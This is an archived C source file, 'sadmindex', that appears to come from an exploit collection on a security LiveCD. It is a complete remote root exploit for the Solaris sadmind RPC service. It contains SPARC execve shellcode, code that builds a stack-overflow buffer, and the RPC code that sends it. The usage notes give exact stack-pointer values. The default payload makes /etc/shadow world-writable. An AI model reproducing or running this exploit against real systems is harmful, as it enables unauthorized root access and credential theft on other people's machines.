home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / sadminsparc.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  16KB  |  493 lines

  1. /**
  2. ***  sadmindex - SPARC Solaris remote root exploit for /usr/sbin/sadmind
  3. ***
  4. ***  Tested and confirmed under Solaris 2.6 and 7.0 (SPARC)
  5. ***
  6. ***  Usage:  % sadmindex -h hostname -c command -s sp [-o offset] \
  7. ***                      [-a alignment] [-p]
  8. ***
  9. ***  where hostname is the hostname of the machine running the vulnerable
  10. ***  system administration daemon, command is the command to run as root
  11. ***  on the vulnerable machine, sp is the %sp stack pointer value, offset
  12. ***  is the number of bytes to add to sp to calculate the desired return
  13. ***  address, and alignment is the number of bytes needed to correctly
  14. ***  align the contents of the exploit buffer.
  15. ***
  16. ***  If run with a -p option, the exploit will only "ping" sadmind on the
  17. ***  remote machine to start it running.  The daemon will be otherwise
  18. ***  untouched.  Since pinging the daemon does not require an exploit
  19. ***  buffer to be constructed, you can safely omit the -c and -s options
  20. ***  if you use -p.
  21. ***
  22. ***  When specifying a command, be sure to pass it to the exploit as a
  23. ***  single argument, namely enclose the command string in quotes if it
  24. ***  contains spaces or other special shell delimiter characters.  The
  25. ***  exploit will pass this string without modification to /bin/sh -c on
  26. ***  the remote machine, so any normally allowed Bourne shell syntax is
  27. ***  also allowed in the command string.  The command string and the
  28. ***  assembly code to run it must fit inside a buffer of 512 bytes, so
  29. ***  the command string has a maximum length of about 380 bytes or so.
  30. ***
  31. ***  Due to the nature of the target overflow in sadmind, the exploit is
  32. ***  extremely sensitive to the %sp stack pointer value that is provided
  33. ***  when the exploit is run.  The %sp stack pointer must be specified
  34. ***  with the exact required value, leaving no room for error.  I have
  35. ***  provided confirmed values for Solaris running on a Sun SPARCengine
  36. ***  Ultra AXi machine running Solaris 2.6 5/98 and on a SPARCstation 1
  37. ***  running Solaris 7.0 10/98.  On each system, sadmind was started from
  38. ***  an instance of inetd that was started at boot time by init.  There
  39. ***  is a strong possibility that the demonstration values will not work
  40. ***  due to differing sets of environment variables, for example if the
  41. ***  the running inetd on the remote machine was started manually from an
  42. ***  interactive shell.  If you find that the sample value for %sp does
  43. ***  not work, try adjusting the value by -2048 to 2048 from the sample in
  44. ***  increments of 8 for starters.  The offset parameter and the alignment
  45. ***  parameter have default values that will be used if no overriding
  46. ***  values are specified on the command line.  The default values should
  47. ***  be suitable and it will not likely be necessary to override them.
  48. ***
  49. ***  Demonstration values for SPARC Solaris:
  50. ***
  51. ***  (2.6)  sadmindex -h host.example.com -c "touch HEH" -s 0xefff9580
  52. ***  (7.0)  sadmindex -h host.example.com -c "touch HEH" -s 0xefff9418
  53. ***
  54. ***  THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
  55. ***
  56. ***  Cheez Whiz
  57. ***  cheezbeast@hotmail.com
  58. ***
  59. ***  June 24, 1999
  60. **/
  61.  
  62. #include <stdlib.h>
  63. #include <stdio.h>
  64. #include <unistd.h>
  65. #include <string.h>
  66. #include <rpc/rpc.h>
  67.  
  68. #define NETMGT_PROG 100232
  69. #define NETMGT_VERS 10
  70. #define NETMGT_PROC_PING 0
  71. #define NETMGT_PROC_SERVICE 1
  72.  
  73. #define NETMGT_UDP_PING_TIMEOUT 30
  74. #define NETMGT_UDP_PING_RETRY_TIMEOUT 5
  75. #define NETMGT_UDP_SERVICE_TIMEOUT 1
  76. #define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2
  77.  
  78. #define NETMGT_HEADER_TYPE 6
  79. #define NETMGT_ARG_INT 3
  80. #define NETMGT_ARG_STRING 9
  81. #define NETMGT_ENDOFARGS "netmgt_endofargs"
  82.  
  83. #define ADM_FW_VERSION "ADM_FW_VERSION"
  84. #define ADM_CLIENT_DOMAIN "ADM_CLIENT_DOMAIN"
  85. #define ADM_FENCE "ADM_FENCE"
  86.  
  87. #define BUFLEN 1076        /* 256+256+32+32+512-12 */
  88. #define ADDRLEN 560        /* 256+256+32+32-4-12 */
  89. #define FRAMELEN1 608
  90. #define FRAMELEN2 4200
  91. #define LEN 84
  92.  
  93. #define OFFSET 688        /* default offset */
  94. #define ALIGNMENT 4        /* default alignment */
  95.  
  96. #define NOP 0x801bc00f        /* xor %o7,%o7,%g0 */
  97.  
  98. char shell[] =
  99. /*   0 */ "\x20\xbf\xff\xff"                 /* bn,a ?          */
  100. /* skip:                                                        */
  101. /*   4 */ "\x20\xbf\xff\xff"                 /* bn,a ?          */
  102. /*   8 */ "\x7f\xff\xff\xff"                 /* call skip       */
  103. /* execve:                                                      */
  104. /*  12 */ "\x90\x03\xe0\x5c"                 /* add %o7,92,%o0  */
  105. /*  16 */ "\x92\x22\x20\x10"                 /* sub %o0,16,%o1  */
  106. /*  20 */ "\x94\x1b\xc0\x0f"                 /* xor %o7,%o7,%o2 */
  107. /*  24 */ "\xec\x02\x3f\xf0"                 /* ld [%o0-16],%l6 */
  108. /*  28 */ "\xac\x22\x80\x16"                 /* sub %o2,%l6,%l6 */
  109. /*  32 */ "\xae\x02\x60\x10"                 /* add %o1,16,%l7  */
  110. /*  36 */ "\xee\x22\x3f\xf0"                 /* st %l7,[%o0-16] */
  111. /*  40 */ "\xae\x05\xe0\x08"                 /* add %l7,8,%l7   */
  112. /*  44 */ "\xc0\x2d\xff\xff"                 /* stb %g0,[%l7-1] */
  113. /*  48 */ "\xee\x22\x3f\xf4"                 /* st %l7,[%o0-12] */
  114. /*  52 */ "\xae\x05\xe0\x03"                 /* add %l7,3,%l7   */
  115. /*  56 */ "\xc0\x2d\xff\xff"                 /* stb %g0,[%l7-1] */
  116. /*  60 */ "\xee\x22\x3f\xf8"                 /* st %l7,[%o0-8]  */
  117. /*  64 */ "\xae\x05\xc0\x16"                 /* add %l7,%l6,%l7 */
  118. /*  68 */ "\xc0\x2d\xff\xff"                 /* stb %g0,[%l7-1] */
  119. /*  72 */ "\xc0\x22\x3f\xfc"                 /* st %g0,[%o0-4]  */
  120. /*  76 */ "\x82\x10\x20\x3b"                 /* mov 59,%g1      */
  121. /*  80 */ "\x91\xd0\x20\x08"                 /* ta 8            */
  122. /* data:                                                        */
  123. /*  84 */ "\xff\xff\xff\xff"                 /* DATA            */
  124. /*  88 */ "\xff\xff\xff\xff"                 /* DATA            */
  125. /*  92 */ "\xff\xff\xff\xff"                 /* DATA            */
  126. /*  96 */ "\xff\xff\xff\xff"                 /* DATA            */
  127. /* 100 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA            */
  128. /* 108 */ "\x2d\x63\xff";                    /* DATA            */
  129.  
  130. extern char *optarg;
  131.  
  132. struct nm_send_header {
  133.     struct timeval timeval1;
  134.     struct timeval timeval2;
  135.     struct timeval timeval3;
  136.     unsigned int uint1;
  137.     unsigned int uint2;
  138.     unsigned int uint3;
  139.     unsigned int uint4;
  140.     unsigned int uint5;
  141.     struct in_addr inaddr1;
  142.     struct in_addr inaddr2;
  143.     unsigned long ulong1;
  144.     unsigned long ulong2;
  145.     struct in_addr inaddr3;
  146.     unsigned long ulong3;
  147.     unsigned long ulong4;
  148.     unsigned long ulong5;
  149.     struct timeval timeval4;
  150.     unsigned int uint6;
  151.     struct timeval timeval5;
  152.     char *string1;
  153.     char *string2;
  154.     char *string3;
  155.     unsigned int uint7;
  156. };
  157.  
  158. struct nm_send_arg_int {
  159.     char *string1;
  160.     unsigned int uint1;
  161.     unsigned int uint2;
  162.     int int1;
  163.     unsigned int uint3;
  164.     unsigned int uint4;
  165. };
  166.  
  167. struct nm_send_arg_string {
  168.     char *string1;
  169.     unsigned int uint1;
  170.     unsigned int uint2;
  171.     char *string2;
  172.     unsigned int uint3;
  173.     unsigned int uint4;
  174. };
  175.  
  176. struct nm_send_footer {
  177.     char *string1;
  178. };
  179.  
  180. struct nm_send {
  181.     struct nm_send_header header;
  182.     struct nm_send_arg_int version;
  183.     struct nm_send_arg_string string;
  184.     struct nm_send_arg_int fence;
  185.     struct nm_send_footer footer;
  186. };
  187.  
  188. struct nm_reply {
  189.     unsigned int uint1;
  190.     unsigned int uint2;
  191.     char *string1;
  192. };
  193.  
  194. bool_t
  195. xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
  196. {
  197.     char *addr;
  198.     size_t size = sizeof(struct in_addr);
  199.  
  200.     if (!xdr_long(xdrs, &objp->timeval1.tv_sec))
  201.     return (FALSE);
  202.     if (!xdr_long(xdrs, &objp->timeval1.tv_usec))
  203.     return (FALSE);
  204.     if (!xdr_long(xdrs, &objp->timeval2.tv_sec))
  205.     return (FALSE);
  206.     if (!xdr_long(xdrs, &objp->timeval2.tv_usec))
  207.     return (FALSE);
  208.     if (!xdr_long(xdrs, &objp->timeval3.tv_sec))
  209.     return (FALSE);
  210.     if (!xdr_long(xdrs, &objp->timeval3.tv_usec))
  211.     return (FALSE);
  212.     if (!xdr_u_int(xdrs, &objp->uint1))
  213.     return (FALSE);
  214.     if (!xdr_u_int(xdrs, &objp->uint2))
  215.     return (FALSE);
  216.     if (!xdr_u_int(xdrs, &objp->uint3))
  217.     return (FALSE);
  218.     if (!xdr_u_int(xdrs, &objp->uint4))
  219.     return (FALSE);
  220.     if (!xdr_u_int(xdrs, &objp->uint5))
  221.     return (FALSE);
  222.     addr = (char *) &objp->inaddr1.s_addr;
  223.     if (!xdr_bytes(xdrs, &addr, &size, size))
  224.     return (FALSE);
  225.     addr = (char *) &objp->inaddr2.s_addr;
  226.     if (!xdr_bytes(xdrs, &addr, &size, size))
  227.     return (FALSE);
  228.     if (!xdr_u_long(xdrs, &objp->ulong1))
  229.     return (FALSE);
  230.     if (!xdr_u_long(xdrs, &objp->ulong2))
  231.     return (FALSE);
  232.     addr = (char *) &objp->inaddr3.s_addr;
  233.     if (!xdr_bytes(xdrs, &addr, &size, size))
  234.     return (FALSE);
  235.     if (!xdr_u_long(xdrs, &objp->ulong3))
  236.     return (FALSE);
  237.     if (!xdr_u_long(xdrs, &objp->ulong4))
  238.     return (FALSE);
  239.     if (!xdr_u_long(xdrs, &objp->ulong5))
  240.     return (FALSE);
  241.     if (!xdr_long(xdrs, &objp->timeval4.tv_sec))
  242.     return (FALSE);
  243.     if (!xdr_long(xdrs, &objp->timeval4.tv_usec))
  244.     return (FALSE);
  245.     if (!xdr_u_int(xdrs, &objp->uint6))
  246.     return (FALSE);
  247.     if (!xdr_long(xdrs, &objp->timeval5.tv_sec))
  248.     return (FALSE);
  249.     if (!xdr_long(xdrs, &objp->timeval5.tv_usec))
  250.     return (FALSE);
  251.     if (!xdr_wrapstring(xdrs, &objp->string1))
  252.     return (FALSE);
  253.     if (!xdr_wrapstring(xdrs, &objp->string2))
  254.     return (FALSE);
  255.     if (!xdr_wrapstring(xdrs, &objp->string3))
  256.     return (FALSE);
  257.     if (!xdr_u_int(xdrs, &objp->uint7))
  258.     return (FALSE);
  259.     return (TRUE);
  260. }
  261.  
  262. bool_t
  263. xdr_nm_send_arg_int(XDR *xdrs, struct nm_send_arg_int *objp)
  264. {
  265.     if (!xdr_wrapstring(xdrs, &objp->string1))
  266.     return (FALSE);
  267.     if (!xdr_u_int(xdrs, &objp->uint1))
  268.     return (FALSE);
  269.     if (!xdr_u_int(xdrs, &objp->uint2))
  270.     return (FALSE);
  271.     if (!xdr_int(xdrs, &objp->int1))
  272.     return (FALSE);
  273.     if (!xdr_u_int(xdrs, &objp->uint3))
  274.     return (FALSE);
  275.     if (!xdr_u_int(xdrs, &objp->uint4))
  276.     return (FALSE);
  277.     return (TRUE);
  278. }
  279.  
  280. bool_t
  281. xdr_nm_send_arg_string(XDR *xdrs, struct nm_send_arg_string *objp)
  282. {
  283.     if (!xdr_wrapstring(xdrs, &objp->string1))
  284.     return (FALSE);
  285.     if (!xdr_u_int(xdrs, &objp->uint1))
  286.     return (FALSE);
  287.     if (!xdr_u_int(xdrs, &objp->uint2))
  288.     return (FALSE);
  289.     if (!xdr_wrapstring(xdrs, &objp->string2))
  290.     return (FALSE);
  291.     if (!xdr_u_int(xdrs, &objp->uint3))
  292.     return (FALSE);
  293.     if (!xdr_u_int(xdrs, &objp->uint4))
  294.     return (FALSE);
  295.     return (TRUE);
  296. }
  297.  
  298. bool_t
  299. xdr_nm_send_footer(XDR *xdrs, struct nm_send_footer *objp)
  300. {
  301.     if (!xdr_wrapstring(xdrs, &objp->string1))
  302.     return (FALSE);
  303.     return (TRUE);
  304. }
  305.  
  306. bool_t
  307. xdr_nm_send(XDR *xdrs, struct nm_send *objp)
  308. {
  309.     if (!xdr_nm_send_header(xdrs, &objp->header))
  310.     return (FALSE);
  311.     if (!xdr_nm_send_arg_int(xdrs, &objp->version))
  312.     return (FALSE);
  313.     if (!xdr_nm_send_arg_string(xdrs, &objp->string))
  314.     return (FALSE);
  315.     if (!xdr_nm_send_arg_int(xdrs, &objp->fence))
  316.     return (FALSE);
  317.     if (!xdr_nm_send_footer(xdrs, &objp->footer))
  318.     return (FALSE);
  319.     return (TRUE);
  320. }
  321.  
  322. bool_t
  323. xdr_nm_reply(XDR *xdrs, struct nm_reply *objp)
  324. {
  325.     if (!xdr_u_int(xdrs, &objp->uint1))
  326.     return (FALSE);
  327.     if (!xdr_u_int(xdrs, &objp->uint2))
  328.     return (FALSE);
  329.     if (!xdr_wrapstring(xdrs, &objp->string1))
  330.     return (FALSE);
  331.     return (TRUE);
  332. }
  333.  
  334. int
  335. main(int argc, char *argv[])
  336. {
  337.     CLIENT *cl;
  338.     struct nm_send send;
  339.     struct nm_reply reply;
  340.     struct timeval tm;
  341.     enum clnt_stat stat;
  342.     int c, i, len, slen, clen;
  343.     char *program, *cp, buf[BUFLEN+1];
  344.     char *hostname, *command;
  345.     int offset, alignment, pinging = 0;
  346.     unsigned long int sp = 0, fp, addr;
  347.  
  348.     program = argv[0];
  349.     hostname = "localhost";
  350.     command = "chmod 666 /etc/shadow";
  351.     offset = OFFSET; alignment = ALIGNMENT;
  352.     while ((c = getopt(argc, argv, "h:c:s:o:a:p")) != EOF) {
  353.     switch (c) {
  354.     case 'h':
  355.         hostname = optarg;
  356.         break;
  357.     case 'c':
  358.         command = optarg; 
  359.         break;
  360.     case 's':
  361.         sp = strtoul(optarg, NULL, 0);
  362.         break;
  363.     case 'o':
  364.         offset = (int) strtol(optarg, NULL, 0);
  365.         break;
  366.     case 'a':
  367.         alignment = (int) strtol(optarg, NULL, 0);
  368.         break;
  369.     case 'p':
  370.         pinging = 1;
  371.         break;
  372.     default:
  373.         fprintf(stderr, "usage: %s -h hostname -c command -s sp "
  374.             "[-o offset] [-a alignment] [-p]\n", program);
  375.         exit(1);
  376.         break;
  377.     }
  378.     }
  379.     memset(buf, '\xff', BUFLEN);
  380.     fp = sp + FRAMELEN1 + FRAMELEN2; fp &= 0xfffffff8;
  381.     addr = sp + offset; addr &= 0xfffffffc;
  382.     for (i = 0, cp = buf + alignment; i < ADDRLEN / 8; i++) {
  383.     *cp++ = (fp >> 24) & 0xff;
  384.     *cp++ = (fp >> 16) & 0xff;
  385.     *cp++ = (fp >>  8) & 0xff;
  386.     *cp++ = (fp >>  0) & 0xff;
  387.     *cp++ = (addr >> 24) & 0xff;
  388.     *cp++ = (addr >> 16) & 0xff;
  389.     *cp++ = (addr >>  8) & 0xff;
  390.     *cp++ = (addr >>  0) & 0xff;
  391.     }
  392.     slen = strlen(shell); clen = strlen(command);
  393.     len = BUFLEN - 1 - clen - slen - ADDRLEN - alignment; len &= 0xfffffffc;
  394.     for (i = 0; i < len / 4; i++) {
  395.     *cp++ = (NOP >> 24) & 0xff;
  396.     *cp++ = (NOP >> 16) & 0xff;
  397.     *cp++ = (NOP >>  8) & 0xff;
  398.     *cp++ = (NOP >>  0) & 0xff;
  399.     }
  400.     len = clen; len++; len = -len;
  401.     shell[LEN+0] = (len >> 24) & 0xff;
  402.     shell[LEN+1] = (len >> 16) & 0xff;
  403.     shell[LEN+2] = (len >>  8) & 0xff;
  404.     shell[LEN+3] = (len >>  0) & 0xff;
  405.     memcpy(cp, shell, slen); cp += slen;
  406.     memcpy(cp, command, clen);
  407.     buf[BUFLEN] = '\0';
  408.     memset(&send, 0, sizeof(struct nm_send));
  409.     send.header.uint2 = NETMGT_HEADER_TYPE;
  410.     send.header.string1 = "";
  411.     send.header.string2 = "";
  412.     send.header.string3 = "";
  413.     send.header.uint7 =
  414.     strlen(ADM_FW_VERSION) + 1 +
  415.     (4 * sizeof(unsigned int)) + sizeof(int) +
  416.     strlen(ADM_CLIENT_DOMAIN) + 1 +
  417.     (4 * sizeof(unsigned int)) + strlen(buf) + 1 +
  418.     strlen(ADM_FENCE) + 1 +
  419.     (4 * sizeof(unsigned int)) + sizeof(int) +
  420.     strlen(NETMGT_ENDOFARGS) + 1;
  421.     send.version.string1 = ADM_FW_VERSION;
  422.     send.version.uint1 = NETMGT_ARG_INT;
  423.     send.version.uint2 = sizeof(int);
  424.     send.version.int1 = 1;
  425.     send.string.string1 = ADM_CLIENT_DOMAIN;
  426.     send.string.uint1 = NETMGT_ARG_STRING;
  427.     send.string.uint2 = strlen(buf);
  428.     send.string.string2 = buf;
  429.     send.fence.string1 = ADM_FENCE;
  430.     send.fence.uint1 = NETMGT_ARG_INT;
  431.     send.fence.uint2 = sizeof(int);
  432.     send.fence.int1 = 666;
  433.     send.footer.string1 = NETMGT_ENDOFARGS;
  434.     cl = clnt_create(hostname, NETMGT_PROG, NETMGT_VERS, "udp");
  435.     if (cl == NULL) {
  436.     clnt_pcreateerror("clnt_create");
  437.     exit(1);
  438.     }
  439.     cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
  440.     if (!pinging) {
  441.     fprintf(stdout,
  442.         "%%sp 0x%08lx offset %d --> return address 0x%08lx [%d]\n",
  443.         sp, offset, addr, alignment);
  444.     fprintf(stdout,
  445.         "%%sp 0x%08lx with frame length %d --> %%fp 0x%08lx\n",
  446.         sp, FRAMELEN1 + FRAMELEN2, fp);
  447.     tm.tv_sec = NETMGT_UDP_SERVICE_TIMEOUT; tm.tv_usec = 0;
  448.     if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) {
  449.         fprintf(stderr, "exploit failed; unable to set timeout\n");
  450.         exit(1);
  451.     }
  452.     tm.tv_sec = NETMGT_UDP_SERVICE_RETRY_TIMEOUT; tm.tv_usec = 0;
  453.     if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) {
  454.         fprintf(stderr, "exploit failed; unable to set timeout\n");
  455.         exit(1);
  456.     }
  457.     stat = clnt_call(cl, NETMGT_PROC_SERVICE,
  458.              xdr_nm_send, (caddr_t) &send,
  459.              xdr_nm_reply, (caddr_t) &reply, tm);
  460.     if (stat != RPC_SUCCESS) {
  461.         clnt_perror(cl, "clnt_call");
  462.         fprintf(stdout, "now check if exploit worked; "
  463.             "RPC failure was expected\n");
  464.         exit(0);
  465.     }
  466.     fprintf(stderr, "exploit failed; "
  467.         "RPC succeeded and returned { %u, %u, \"%s\" }\n",
  468.         reply.uint1, reply.uint2, reply.string1);
  469.     clnt_destroy(cl);
  470.     exit(1);
  471.     } else {
  472.     tm.tv_sec = NETMGT_UDP_PING_TIMEOUT; tm.tv_usec = 0;
  473.     if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) {
  474.         fprintf(stderr, "exploit failed; unable to set timeout\n");
  475.         exit(1);
  476.     }
  477.     tm.tv_sec = NETMGT_UDP_PING_RETRY_TIMEOUT; tm.tv_usec = 0;
  478.     if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) {
  479.         fprintf(stderr, "exploit failed; unable to set timeout\n");
  480.         exit(1);
  481.     }
  482.     stat = clnt_call(cl, NETMGT_PROC_PING,
  483.              xdr_void, NULL,
  484.              xdr_void, NULL, tm);
  485.     if (stat != RPC_SUCCESS) {
  486.         clnt_perror(cl, "clnt_call");
  487.         exit(1);
  488.     }
  489.     clnt_destroy(cl);
  490.     exit(0);
  491.     }
  492. }
  493.